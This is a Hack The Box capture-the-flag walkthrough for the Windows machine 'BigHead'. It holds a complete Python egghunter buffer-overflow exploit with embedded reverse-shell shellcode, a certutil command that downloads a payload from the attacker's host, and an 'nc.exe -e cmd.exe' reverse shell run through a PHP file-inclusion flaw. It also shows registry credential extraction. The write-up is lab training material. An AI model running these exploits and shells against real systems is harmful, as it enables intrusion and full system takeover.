Hack The Box - BigHead
Hack The Box - BigHead
Quick Summary
Hey guys, Today BigHead retired and here’s my write-up about it. As you can see it’s an insane box, actually it’s hard to summarize this box as it included a lot of steps to achieve different goals. Most of the steps require deep enumeration especially the initial foothold. The part I liked the most about this box is the win32 buffer overflow egghunting exploitation as it was very interesting. The whole box was challenging and the overall experience wasn’t bad, But I disliked the fact that it had a lot of trolls. I found it kinda funny that the box had a lot of Silicon Valley references :D even the name of the box is the name of one of the characters, Anyway let’s not waste more time. It’s a windows box and its ip is 10.10.10.112
. I added it to /etc/hosts
as bighead.htb
. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services :
nmap -sV -sT -sC bighead.htb
Only one port is open which is port 80 and it’s running http. Let’s take a look.
HTTP Enumeration
It’s a website titled PiperNet Comes
. The background is an image of the characters from the TV show “Silicon Valley”, and in the middle it’s saying PIPERNET IS HERE
. Also there are two links down there, First one is THIS IS PIPERNET
which is the homepage and the other one is PIEDPIPERCOIN
. Let’s scroll down and see what else do we have :
PIEDPIPERCOIN COMES
, and there’s a small description of what piedpipercoin is.
After that there are some pictures for the characters from “Silicon Valley” and some stuff about each one of them, Nothing is interesting so far. At the bottom of the page there is this contact form :
I looked at the contact info and I noticed that the email was info@bachmanity.htb
. Let’s check that domain, but before doing that I wanted to check the other page PIEDPIPERCOIN
:
Instead of PIEDPIPERCOIN COMES
it’s saying PIEDPIPERCOIN CAME
but nothing is interesting. Let’s check bachmanity.htb
, we need to add it to /etc/hosts
first :
bachmanity.htb
It’s only that image and nothing else :
Back to the contact form, I wanted to see if it’s exploitable in any way. I filled all the fields with test
:
It sends the request to mailer.bighead.htb
, Let’s add it to /etc/hosts
and try again :
It shows this message then it redirects the browser back to bighead.htb
. I also intercepted the request with burp :
Tried to manipulate the input, but couldn’t achieve anything. I went to mailer.bighead.htb
and got redirected to mailer.bighead.htb/testlink
which shows this error :
In the background I ran gobuster
on bachmanity.htb
and bighead.htb
with /usr/share/wordlists/dirb/common.txt
. bachmanity.htb
didn’t have anything :
=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://bachmanity.htb/
[+] Threads : 100
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 2m0s
=====================================================
2019/04/24 20:21:01 Starting gobuster
=====================================================
/index.html (Status: 200)
/index.htm (Status: 200)
but bighead.htb
gave some results :
=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://bighead.htb/
[+] Threads : 100
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 2m0s
=====================================================
2019/04/24 20:16:23 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/assets (Status: 301)
/backend (Status: 302)
/Images (Status: 301)
/images (Status: 301)
/index.html (Status: 200)
I went to /assets
and it was forbidden :
/backend
redirected the browser to bighead.htb/BigHead
which gave the same error we saw before :
I clicked on error log
and it gave the same error :
Let’s check if there are any other subdomains. I used wfuzz
with subdomains-top1mil-5000.txt from seclists:
wfuzz -c -w subdomains-top1mil-5000.txt -H "HOST: FUZZ.bighead.htb" http://10.10.10.112
non-valid subdomain responses are 11232
chars so we will remove those from the output :
wfuzz -c --hh 11232 -w subdomains-top1mil-5000.txt -H "HOST: FUZZ.bighead.htb" http://10.10.10.112
We got 3 subdomains : dev
, mailer
and code
. We already know about mailer
, let’s add dev
and code
:
code.bighead.htb
redirected the browser to 127.0.0.1:5080/testlink/login.php
So to see what’s on code.bighead.htb
we will probably need to forward an internal service to our box. We can’t do that now so we will ignore code.bighead.htb
for now.
dev.bighead.htb
shows this image of bighead :
Source has nothing interesting :
I ran gobuster
again and got some results :
=====================================================
Gobuster v2.0.0 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://dev.bighead.htb/
[+] Threads : 100
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 2m0s
=====================================================
2019/04/24 20:55:05 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/blog (Status: 302)
/blog_ajax (Status: 302)
/blog_inlinemod (Status: 302)
/blog_usercp (Status: 302)
/blog_search (Status: 302)
/blog_report (Status: 302)
/blogger (Status: 302)
/blogindex (Status: 302)
/bloggers (Status: 302)
/blogs (Status: 302)
/blogspot (Status: 302)
/wp-content (Status: 302)
But all these pages gave this result :
I intercepted the request in burp to figure out why :
The response is 302
, by following the redirect :
It responds with another 302
So it will keep redirecting us in a loop and we won’t get anything.
At this point I didn’t know what to do because all of my attempts have hit a dead end. I did a sub directory bruteforce again with wfuzz
instead of gobuster
and I got one more result :
wfuzz --hc 404 -c -w /usr/share/wordlists/dirb/common.txt -u http://dev.bighead.htb/FUZZ
The reason why gobuster
didn’t show us this page is because of the status code. gobuster
only showed results with these status codes : [+] Status codes : 200,204,301,302,307,403
, While wfuzz
showed everything except 404
responses, --hc 404
. /coffee
gave a response of 418
which is weird. I looked it up and found some info about it here. 418 I'm a teapot
! Anyway let’s take a look :
http://dev.bighead.htb/coffee
It’s showing this gif
:
Which is saying : “The requested entity body is short and stout. Tip me over and pour me out.” ?!
I intercepted the request with burp and looked at the response :
I noticed a weird server name : BigheadWebSvr 1.0
. I looked it up and found a repository on the machine creator’s github (3mrgnc3) :
I searched through the commits and got this one which seemed to be the right one.
It asked for a password :
I tried to guess it and after some attempts bighead
worked :
Of course it’s a windows executable so we will switch to a windows machine. At this point the hint was quite obvious : “The requested entity body is short and stout. Tip me over and pour me out.”, This server is probably vulnerable to a buffer overflow.
Buffer Overflow in BigheadWebSvr
I tried to run the server but it complained about some missing dll
called libmingwex-0.dll
:
So I installed mingw and copied the dll
to the same directory as the server :
Then I had to allow access for it :
Now the server is running :
But not on port 80 :
I did netstat -a -b
and found that it’s running on port 8008 :
Great, I intercepted the request with burp then I ran the server again with Immunity Debugger :
Now we need to know how to make the server crash. First thing I wanted to try was sending a HEAD request, because you know … the machine name is BigHead :D
And yes it worked. The EIP was overwritten with A. I tried to send a bigger request and the server didn’t crash, and that was a bit of a problem because we are limited to a specific size so we don’t have enough space to store our shellcode, That’s why we will use egghunting. There are a lot of great tutorials about win32 egghunting out there so I will just give you an idea of what is egghunting in case you don’t know. When we don’t have enough space on the stack to hold the shellcode, instead of sending and executing the shellcode we send a very small string called egghunter. When that egghunter is executed it searches through the entire memory for an egg. when it hits that egg it executes what’s after it (the shellcode). The egg is a 4-bytes string, say for example R1ck
that egg is doubled and added before the shellcode like this : R1ckR1ck + shellcode
. It’s explained very well in skape’s paper Safely Searching Process Virtual Address Space. There are also many practical tutorials just search for win32 egghunting.
Now back to the vulnerable server, first thing we need to know is the offset. I’m using mona plugin. Documentation.
!mona config -set workingfolder c:\logs\%p`, to make `mona` output to `C:\logs
To find the offset we will create a pattern !mona pc 100
(creates a pattern of 100 chars), this is the same as pattern_create.rb
from metasploit
. I used it in my buffer overflow write-ups.
It will put the output in a file called pattern.txt
in C:\logs
:
Pattern :
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Full output :
================================================================================
Output generated by mona.py v2.0, rev 585 - Immunity Debugger
Corelan Team - https://www.corelan.be
================================================================================
Process being debugged : BigheadWebSvr (pid 1300)
Current mona arguments: pc 100
================================================================================
2019-04-24 22:43:44
================================================================================
Pattern of 100 bytes :
----------------------
ASCII:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
HEX:
\x41\x61\x30\x41\x61\x31\x41\x61\x32\x41\x61\x33\x41\x61\x34\x41\x61\x35\x41\x61\x36\x41\x61\x37\x41\x61\x38\x41\x61\x39\x41\x62\x30\x41\x62\x31\x41\x62\x32\x41\x62\x33\x41\x62\x34\x41\x62\x35\x41\x62\x36\x41\x62\x37\x41\x62\x38\x41\x62\x39\x41\x63\x30\x41\x63\x31\x41\x63\x32\x41\x63\x33\x41\x63\x34\x41\x63\x35\x41\x63\x36\x41\x63\x37\x41\x63\x38\x41\x63\x39\x41\x64\x30\x41\x64\x31\x41\x64\x32\x41
JAVASCRIPT (unescape() friendly):
%u6141%u4130%u3161%u6141%u4132%u3361%u6141%u4134%u3561%u6141%u4136%u3761%u6141%u4138%u3961%u6241%u4130%u3162%u6241%u4132%u3362%u6241%u4134%u3562%u6241%u4136%u3762%u6241%u4138%u3962%u6341%u4130%u3163%u6341%u4132%u3363%u6341%u4134%u3563%u6341%u4136%u3763%u6341%u4138%u3963%u6441%u4130%u3164%u6441%u4132
Let’s send the pattern :
the EIP was overwritten with ACC54AAC
, !mona findmsp
should give us the offset but for some reason it wasn’t able to find it so I did it manually. We will reverse ACC54AAC
because it’s little endian, so it will be AC4AC5AC
. I located it then I used python’s function len()
to find the length of the string before AC4AC5AC
:
Offset is 72, let’s confirm that. I sent 72 A’s then 8 B’s :
And I could successfully overwrite EIP with B :
Nice, We control EIP, Now we need to find a real address to overwrite EIP with. Since the egghunter will be located on the stack we need to find a jmp esp
instruction to make it jmp to the egghunter and execute it. To do this we will use mona. !mona jmp -r ESP
. It will create another file in C:\logs
called jmp.txt
. We need to make sure that the address we choose will work on the target machine, So I used one of the addresses from the dll
of the server itself bHeadSvr.dll
. I chose the first one :
Full Output :
================================================================================
Output generated by mona.py v2.0, rev 585 - Immunity Debugger
Corelan Team - https://www.corelan.be
================================================================================
Process being debugged : BigheadWebSvr (pid 5532)
Current mona arguments: jmp -r ESP
================================================================================
2019-04-25 02:15:27
================================================================================
-----------------------------------------------------------------------------------------------------------------------------------------
Module info :
-----------------------------------------------------------------------------------------------------------------------------------------
Base | Top | Size | Rebase | SafeSEH | ASLR | NXCompat | OS Dll | Version, Modulename & Path
-----------------------------------------------------------------------------------------------------------------------------------------
0x74c70000 | 0x74e61000 | 0x001f1000 | True | True | True | False | True | 10.0.17763.1 [KERNELBASE.dll] (C:\Windows\System32\KERNELBASE.dll)
0x771f0000 | 0x77269000 | 0x00079000 | True | True | True | False | True | 10.0.17763.1 [sechost.dll] (C:\Windows\System32\sechost.dll)
0x00400000 | 0x00413000 | 0x00013000 | False | False | False | False | False | -1.0- [BigheadWebSvr.exe] (C:\bighead\BHWS_Backup\BigheadWebSvr.exe)
0x62500000 | 0x62510000 | 0x00010000 | False | False | False | False | False | -1.0- [bHeadSvr.dll] (C:\bighead\BHWS_Backup\bHeadSvr.dll)
0x75510000 | 0x755a8000 | 0x00098000 | True | True | True | False | True | 10.0.17763.1 [KERNEL32.DLL] (C:\Windows\System32\KERNEL32.DLL)
0x74ef0000 | 0x74fb0000 | 0x000c0000 | True | True | True | False | True | 7.0.17763.1 [msvcrt.dll] (C:\Windows\System32\msvcrt.dll)
0x64540000 | 0x64570000 | 0x00030000 | False | False | False | False | False | -1.0- [libmingwex-0.dll] (C:\bighead\BHWS_Backup\libmingwex-0.dll)
0x75270000 | 0x752ee000 | 0x0007e000 | True | True | True | False | True | 10.0.17763.1 [ADVAPI32.DLL] (C:\Windows\System32\ADVAPI32.DLL)
0x776b0000 | 0x77847000 | 0x00197000 | True | True | True | False | True | 10.0.17763.1 [ntdll.dll] (C:\Windows\SYSTEM32\ntdll.dll)
0x77410000 | 0x774cf000 | 0x000bf000 | True | True | True | False | True | 10.0.17763.1 [RPCRT4.dll] (C:\Windows\System32\RPCRT4.dll)
0x75370000 | 0x753cf000 | 0x0005f000 | True | True | True | False | True | 10.0.17763.1 [WS2_32.dll] (C:\Windows\System32\WS2_32.dll)
-----------------------------------------------------------------------------------------------------------------------------------------
0x625012f0 : jmp esp | {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\bighead\BHWS_Backup\bHeadSvr.dll)
0x625012fd : jmp esp | {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\bighead\BHWS_Backup\bHeadSvr.dll)
0x6250130a : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\bighead\BHWS_Backup\bHeadSvr.dll)
0x62501317 : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\bighead\BHWS_Backup\bHeadSvr.dll)
0x62501324 : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\bighead\BHWS_Backup\bHeadSvr.dll)
0x62501331 : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\bighead\BHWS_Backup\bHeadSvr.dll)
0x6250133e : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\bighead\BHWS_Backup\bHeadSvr.dll)
0x6250134b : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\bighead\BHWS_Backup\bHeadSvr.dll)
0x6250134d : jmp esp | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\bighead\BHWS_Backup\bHeadSvr.dll)
0x6455b1ca : push esp # ret | {PAGE_EXECUTE_READ} [libmingwex-0.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\bighead\BHWS_Backup\libmingwex-0.dll)
Let’s send a request to test it, 72 A’s then f0125062
which is 625012f0
reversed:
It’s working fine. Last thing we need to know is how to send the shellcode. I sent a POST request to see how the server handles it, just a bunch of A’s :
Then I searched in the memory :
As we can see the whole request is printed in the memory. With this information now we can write the exploit.
Writing the Exploit
First thing is the imports, I imported socket
,binascii
and re
import socket
import binascii
import re
Then I started to define the variables , we need variables to hold the host, the port, the egg, the shellcode and the egghunter. Let’s generate the shellcode first :
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.xx.xx LPORT=1337 -b '\x00' -f python
-b '\x00'
is for bad chars. \x00
which is a null byte is always a bad char because it acts a string terminator and terminates the execution so we don’t need that in the shellcode. We will add this to the exploit and remove \x
because we will use hexlify
and unhexlify
functions from binascii
. This is for the shellcode, now we need the egghunter. I used this tool to generate the egghunter :
But I didn’t like that I should generate a new one if I wanted to change the egg, here’s how the tool is doing it :
We can easily add this to the exploit itself.
host = '10.10.10.112'
port = 80
egg = 'R1ck'
host
is for the ip of the machine, port
is for the port and egg
is to hold the value of the egg. After that comes the buf
variable generated by msfvenom
(this is the my shellcode you should generate a new one with your ip and listening port) :
buf = ""
buf += "d9c7d97424f45a2bc9bb9f0948"
buf += "3bb15283c204315a1303c51aaa"
buf += "ce05f4a831f505cdb81034cddf"
buf += "5167fd94378476f8a31ffad5c4"
buf += "a8b103eb29e9706aaaf0a44c93"
buf += "3ab98dd42730df8d2ce7cfba79"
buf += "3464f06c3c99418e6d0cd9c9ad"
buf += "af0e62e4b7534fbe4ca73b4184"
buf += "f9c4eee93537ee2ef1a8854601"
buf += "549e9d7b822b05db418be1dd86"
buf += "4a62d163182cf672cd4702fef0"
buf += "878244d703ce1f7612aace8744"
buf += "15ae2d0fb8bb5f52d508526c25"
buf += "07e51f17885db71b4178405b78"
buf += "3cdea2833df760d76d6f4058e6"
buf += "6f6d8da93fc17e0aefa12ee2e5"
buf += "2d101206e439b9fd6f4c34ee74"
buf += "384a108e81c3f6fae185a19298"
buf += "8f3902641a4404eea9b9cb07c7"
buf += "a9bce792936bf708bbf06ad73b"
buf += "7e97406cd76999f8c5d0331e14"
buf += "847c9ac375822381c2a0335fca"
buf += "ec670f9dbad1e9770d8ba324c7"
buf += "5b3507d81d3a42aec18b3bf7fe"
buf += "24acff87584cff52d97c4afe48"
buf += "15136bc978a4460e852762ef72"
buf += "3707ea3ffff486506afa3550bf"
I created a variable to hold the final shellcode (egg doubled + shellcode) and another variable for the egghunter :
shellcode = (egg * 2) + binascii.unhexlify(buf)
egghunter = "6681caff0f42526a0258cd2e3c055a74efb8" + binascii.hexlify(egg) + "8bfaaf75eaaf75e7ffe7"
Note : there’s a variable called N
, that will come later and it has nothing to do with the exploit itself.
Now we need to create two functions. First one is to send the shellcode through a POST request, The other one is to exploit the vulnerability and send the egghunter.
We will start by defining the function :
def send_shellcode(N,host,port,egg,shellcode):
Then we will open a TCP stream socket to the server and the port and hold it in a variable called s
:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
Last thing to do is to send the POST request with the shellcode :
s.send("POST / HTTP/1.1\r\n")
s.send("Host: dev.bighead.htb\r\n")
s.send("Content-Length: %s\r\n"%len(shellcode))
s.send("\r\n")
s.send(shellcode+"\r\n")
s.send("\r\n")
Then we will close the stream : s.close()
I added this in a for
loop to send the shellcode 16 times. I did this because I wanted to put the shellcode in different places so the egghunter finds it easily. I also added a print statement at the start of the function : print "\033[32m [*] Sending Shellcode"
, \033[32m
is for the color it’s not important for the exploit. And I added a print statement before closing the stream : print '\033[34m' + '[' + str(N) + '] ' + re.sub(r"\s"," ",s.recv(12))
. re.sub(r"\s"," ",s.recv(12))
This will use re
(regular expressions operations) to print the first 12 chars of the first line of the server response (“HTTP/1.1” + “ “ + status code (3 chars) = 12).
send_shellcode
:
def send_shellcode(N,host,port,egg,shellcode):
print "\033[32m [*] Sending Shellcode"
for i in range(0,16):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
s.connect((host,port))
s.send("POST / HTTP/1.1\r\n")
s.send("Host: dev.bighead.htb\r\n")
s.send("Content-Length: %s\r\n"%len(shellcode))
s.send("\r\n")
s.send(shellcode+"\r\n")
s.send("\r\n")
print '\033[34m' + '[' + str(N) + '] ' + re.sub(r"\s"," ",s.recv(12))
s.close()
N += 1
print "\033[32m [*] Done"
That’s for send_shellcode
, let’s write send_egghunter
. We will define the function first :
def send_egghunter(host,port,egghunter):
Then we will open a TCP stream socket to the server and the port and hold it in a variable called s
:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
Then we will connect and send the HEAD request :
s.connect((host,port))
s.settimeout(None)
s.send("HEAD /" + ("A"*72) + "f0125062" + egghunter + " HTTP/1.1\r\n")
s.send("Host: dev.bighead.htb\r\n")
s.send("\r\n")
I did settimeout(None)
as the server takes a lot of time to respond to this request (Because we will change the code flow so the server won’t reply) and we don’t want the stream to be closed before our egghunter is successfully executed.
s.send("HEAD /" + ("A"*72) + "f0125062" + egghunter + " HTTP/1.1\r\n")
This line sends 72 A’s then f0125062
(jmp esp (new EIP)) then the egghunter.
send_egghunter
:
def send_egghunter(host,port,egghunter):
print "\033[32m [*] Sending EggHunter"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
s.connect((host,port))
s.settimeout(None)
s.send("HEAD /" + ("A"*72) + "f0125062" + egghunter + " HTTP/1.1\r\n")
s.send("Host: dev.bighead.htb\r\n")
s.send("\r\n")
print '\033[34m' + re.sub(r"\s"," ",s.recv(12))
s.close()
print "\033[32m [*] Done"
The exploit is ready, we just need to call the functions :
send_shellcode(N,host,port,egg,shellcode)
send_egghunter(host,port,egghunter)
Final Exploit :
#!/usr/bin/python
import socket
import binascii
import re
host = '10.10.10.112'
port = 80
egg = 'R1ck'
N = 0
buf = ""
buf += "d9c7d97424f45a2bc9bb9f0948"
buf += "3bb15283c204315a1303c51aaa"
buf += "ce05f4a831f505cdb81034cddf"
buf += "5167fd94378476f8a31ffad5c4"
buf += "a8b103eb29e9706aaaf0a44c93"
buf += "3ab98dd42730df8d2ce7cfba79"
buf += "3464f06c3c99418e6d0cd9c9ad"
buf += "af0e62e4b7534fbe4ca73b4184"
buf += "f9c4eee93537ee2ef1a8854601"
buf += "549e9d7b822b05db418be1dd86"
buf += "4a62d163182cf672cd4702fef0"
buf += "878244d703ce1f7612aace8744"
buf += "15ae2d0fb8bb5f52d508526c25"
buf += "07e51f17885db71b4178405b78"
buf += "3cdea2833df760d76d6f4058e6"
buf += "6f6d8da93fc17e0aefa12ee2e5"
buf += "2d101206e439b9fd6f4c34ee74"
buf += "384a108e81c3f6fae185a19298"
buf += "8f3902641a4404eea9b9cb07c7"
buf += "a9bce792936bf708bbf06ad73b"
buf += "7e97406cd76999f8c5d0331e14"
buf += "847c9ac375822381c2a0335fca"
buf += "ec670f9dbad1e9770d8ba324c7"
buf += "5b3507d81d3a42aec18b3bf7fe"
buf += "24acff87584cff52d97c4afe48"
buf += "15136bc978a4460e852762ef72"
buf += "3707ea3ffff486506afa3550bf"
shellcode = (egg * 2) + binascii.unhexlify(buf)
egghunter = "6681caff0f42526a0258cd2e3c055a74efb8" + binascii.hexlify(egg) + "8bfaaf75eaaf75e7ffe7"
def send_shellcode(N,host,port,egg,shellcode):
print "\033[32m [*] Sending Shellcode"
for i in range(0,16):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
s.connect((host,port))
s.send("POST / HTTP/1.1\r\n")
s.send("Host: dev.bighead.htb\r\n")
s.send("Content-Length: %s\r\n"%len(shellcode))
s.send("\r\n")
s.send(shellcode+"\r\n")
s.send("\r\n")
print '\033[34m' + '[' + str(N) + '] ' + re.sub(r"\s"," ",s.recv(12))
s.close()
N += 1
print "\033[32m [*] Done"
def send_egghunter(host,port,egghunter):
print "\033[32m [*] Sending EggHunter"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
s.connect((host,port))
s.settimeout(None)
s.send("HEAD /" + ("A"*72) + "f0125062" + egghunter + " HTTP/1.1\r\n")
s.send("Host: dev.bighead.htb\r\n")
s.send("\r\n")
print '\033[34m' + re.sub(r"\s"," ",s.recv(12))
s.close()
print "\033[32m [*] Done"
send_shellcode(N,host,port,egg,shellcode)
send_egghunter(host,port,egghunter)
Now it’s show time, Let’s test the exploit :
Perfectly working ! we got a reverse shell.
Enumeration, Enumeration, Enumeration …
We are on the machine as nelson
, There is another user on the box called nginx
:
I checked C:\Users\Nelson
and C:\Users\Nelson\Desktop
and I found the user flag :
2962 bytes? Well … no it’s not the user flag :
So we probably we need to be nginx
to get the user flag. And of course we can’t access nginx
directory :
I wanted to upgrade that reverse shell into meterpreter
so I had to create the payload first :
msfvenom -p windows/meterpreter_reverse_tcp LHOST=10.10.xx.xx LPORT=1338 -f exe > m.exe
Then I set up the meterpreter
handler :
I ran a python simple http server on port 80 : python -m SimpleHTTPServer 80
to host the payload. Then I went to C:\Users\Nelson\AppData\Local\Temp
and downloaded the payload with certutil
:
certutil -urlcache -split -f http://10.10.xx.xx/m.exe m.exe
Then I executed it and got a meterpreter
session :
From meterpreter
I wanted to look at the services so I did ps
, I looked through them and found an interesting service called BvSshServer.exe
I wanted to know the listening port of that ssh server, so I did netstat
. It was listening on port 2020 :
So I forwarded that port, We also saw earlier when we went to code.bighead.htb
it redirected us to :
http://127.0.0.1:5080/testlink/login.php
I wanted to forward that port too to check what’s in there. To forward a port through meterpreter
we can simply do it with portfwd
:
portfwd add -l 2020 -p 2020 -r bighead.htb
portfwd add -l 5080 -p 5080 -r bighead.htb
Let’s check if that BvSshServer
is a real ssh server :
It’s working fine, now we need a password to login. We already know the username : nginx
.
I went to code.bighead.htb
again and after I got redirected to port 5080 on localhost
I got some SQL
errors :
As you can see it disclosed the root path of the application : C:\xampp
. I tried to go there but I got access denied :
After a lot of enumeration I checked the registry
and in HKLM\System\CurrentControlSet\Services\
I found the registry
for nignx
(The web server) :
reg enumkey -k 'HKLM\System\CurrentControlSet\Services\'
Then I looked at the values and I found two interesting ones :
reg enumkey -k 'HKLM\System\CurrentControlSet\Services\nginx
meterpreter > reg enumkey -k 'HKLM\System\CurrentControlSet\Services\nginx'
Enumerating: HKLM\System\CurrentControlSet\Services\nginx
Keys (2):
Parameters
Enum
Values (12):
Type
Start
ErrorControl
ImagePath
DisplayName
ObjectName
Description
DelayedAutostart
FailureActionsOnNonCrashFailures
FailureActions
Authenticate
PasswordHash
Authenticate
and PasswordHash
. Let’s look at the value :
Authenticate
:
reg queryval -k 'HKLM\System\CurrentControlSet\Services\nginx' -v Authenticate
meterpreter > reg queryval -k 'HKLM\System\CurrentControlSet\Services\nginx' -v Authenticate
Key: HKLM\System\CurrentControlSet\Services\nginx
Name: Authenticate
Type: REG_BINARY
Data: 4800370033004200700055005900320055007100390055002d005900750067007900740035004600590055006200590030002d0055003800370074003800370000000000
PasswordHash
:
reg queryval -k 'HKLM\System\CurrentControlSet\Services\nginx' -v PasswordHash
meterpreter > reg queryval -k 'HKLM\System\CurrentControlSet\Services\nginx' -v PasswordHash
Key: HKLM\System\CurrentControlSet\Services\nginx
Name: PasswordHash
Type: REG_SZ
Data: 336d72676e6333205361797a205472794861726465722e2e2e203b440a
Authenticate
:
4800370033004200700055005900320055007100390055002d005900750067007900740035004600590055006200590030002d0055003800370074003800370000000000
PasswordHash
:
336d72676e6333205361797a205472794861726465722e2e2e203b440a
Looks like hex
, Let’s see Authenticate
:
The output was kinda weird, that’s because of the null bytes, I removed them then I got the right output :
4837334270555932557139552d5975677974354659556259302d553837743837
So this might be a password : H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87
, Let’s check PasswordHash
:
3mrgnc3 sayz TryHarder... ;D
, It was just a troll. Anyway we have a password let’s try to login to ssh as nignx
:
It worked, and by looking at the files I figured out that we are in C:\xampp
:
There was also a user.txt
, I tried to read it but it said that it was a binary file :
I wanted to check the user but whoami
wasn’t there :
So I checked help
and this shell has only some basic commands :
I know that I’m inside C:\xampp
now. But what am I searching for anyway ? I went back to the meterpreter
shell and checked the access log of nginx
in C:\nginx\logs
:
At the beginning of the log I found some requests with the user-agent
3mrgnc3
:
Most of them are HEAD requests, maybe he was testing the buffer overflow I don’t really know but anyway we are not looking for that. We are looking for requests to /testlink
. Because everything we have access to on port 5080 is under /testlink
.
On the 7th of October 2018 at 02:17:16 and 02:18:06 I found two POST requests to /testlink/linkto.php
:
I went to that path and got an error which disclosed the path of the php
file :
Fatal error: require_once(): Failed opening required '' (include_path='C:\xampp\php\PEAR;.;C:\xampp\apps\testlink\htdocs\lib\functions\;C:\xampp\apps\testlink\htdocs\lib\issuetrackerintegration\;C:\xampp\apps\testlink\htdocs\lib\codetrackerintegration\;C:\xampp\apps\testlink\htdocs\lib\reqmgrsystemintegration\;C:\xampp\apps\testlink\htdocs\third_party\') in C:\xampp\apps\testlink\htdocs\linkto.php on line 62
The path was C:\xampp\apps\testlink\htdocs\linkto.php
So I went there and got the php
file :
LFI in linkto.php
, User Flag
It’s a long script so I will just focus on the vulnerable part. First thing I noticed was this comment :
So I checked pipercoin.php
:
pipercoin.php
:
<!--
TODO.. I just added a workaround to the linkto script for now.
Nelson.
-->
<?php
echo('PiperCoinAuth');
?>
Nothing interesting, Let’s go back to linkto.php
I noticed here that we can send a POST request with the parameters PiperID
and PiperCoinID
:
if(isset($_POST['PiperID'])){$PiperCoinAuth = $_POST['PiperCoinID']; //plugins/ppiper/pipercoin.php
$PiperCoinSess = base64_decode($PiperCoinAuth);
$PiperCoinAvitar = (string)$PiperCoinSess;}
PiperID
is not important but PiperCoinID
is. It’s taking the value of PiperCoinID
and assigning it to another variable called $PiperCoinAuth
. After that it’s calling require_once()
with $PiperCoinAuth
.
The vulnerability here is obvious. If we can control what’s in require_once()
Then we can make it include any php
file of our choice (Local File Inclusion).
I created a simple php
script to execute nc.exe
and give me a reverse shell :
<?php
system('C:\Users\Nelson\AppData\Local\Temp\nc.exe -e cmd.exe 10.10.xx.xx 1339');
?>
I uploaded it and uploaded nc.exe
to C:\Users\Nelson\AppData\Local\Temp\
:
Last step is to exploit the vulnerability. We will send a POST request to :
http://code.bighead.htb/testlink/linkto.php
With the parameters PiperID
(we can leave it empty) and PiperCoinID
which will be the path of the php
script :
C:\Users\Nelson\AppData\Local\Temp\rev.php
curl -X POST "http://code.bighead.htb/testlink/linkto.php" -d "PiperID=&PiperCoinID=C:\Users\Nelson\AppData\Local\Temp\rev.php"
We get a reverse shell immediately. As nt authority\system
:
Awesome now we can get root and user flags, right ? well … no. Let’s get the user flag first :
We owned user !
Alternate Data Stream in root.txt
Technically we own root now. But we still need to do some more stuff to get the root flag.
I looked in C:\Users\Administrator\Desktop
and the root flag wasn’t there.
I thought it might be hidden, so I tried to read it anyway and yes it was hidden. but …
Gilfoyle’s Prayer? Another “Silicon Valley” reference. I terminated the meterpreter
session I had as Nelson
then I went to C:\Users\Nelson\AppData\Local\Temp
and executed m.exe
to get another meterpreter
session as nt authority\system
. After that I uploaded streams.exe
to check for alternate data streams on root.txt :
streams C:\Users\Administrator\Desktop\root.txt
There is an alternate stream called Zone.Identifier
, I tried to read it but type
and more
didn’t work for some reason.
After reading this article I did it like this :
more < "C:\Users\Administrator\Desktop\root.txt:Zone.Identifier"
And I saved the output to a file and named it test
When I looked at test
I found that it was a binary file :
So I downloaded it to use file
against it :
Keepass password database
Cracking the Database, Root Flag
